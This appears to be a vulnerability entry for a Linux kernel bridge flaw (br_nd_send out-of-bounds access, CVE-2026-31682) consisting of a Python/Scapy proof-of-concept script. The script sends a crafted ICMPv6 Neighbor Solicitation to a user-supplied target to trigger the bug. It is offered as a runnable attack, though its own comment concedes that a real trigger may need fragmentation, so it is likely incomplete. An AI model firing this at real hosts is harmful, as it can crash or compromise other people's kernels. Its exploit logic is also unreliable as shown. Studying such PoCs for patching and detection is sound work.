Linux Kernel br_nd_send 缓冲区越界访问漏洞

# PoC for CVE-2026-31682 # This script sends a crafted ICMPv6 Neighbor Solicitation packet. # The goal is to trigger the br_nd_send parsing logic. # Requires Scapy: pip install scapy from scapy.all import * import sys def send_crafted_packet(target_ip, target_mac): # Construct Ethernet header eth = Ether(dst=target_mac, src=get_if_hwaddr(conf.iface), type=0x86DD) # Construct IPv6 header ipv6 = IPv6(src="::1", dst=target_ip) # Construct ICMPv6 Neighbor Solicitation ns = ICMPv6ND_NS(tgt=target_ip) # Add Source Link-Layer Option # In a real scenario, specific fragmentation might be needed to force non-linear skb opt = ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(conf.iface)) # Build packet pkt = eth / ipv6 / ns / opt # Send packet sendp(pkt, iface=conf.iface, verbose=1) print(f"[*] Packet sent to {target_ip}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ipv6> [target_mac]") sys.exit(1) target = sys.argv[1] mac = sys.argv[2] if len(sys.argv) > 2 else "33:33:00:00:00:01" send_crafted_packet(target, mac)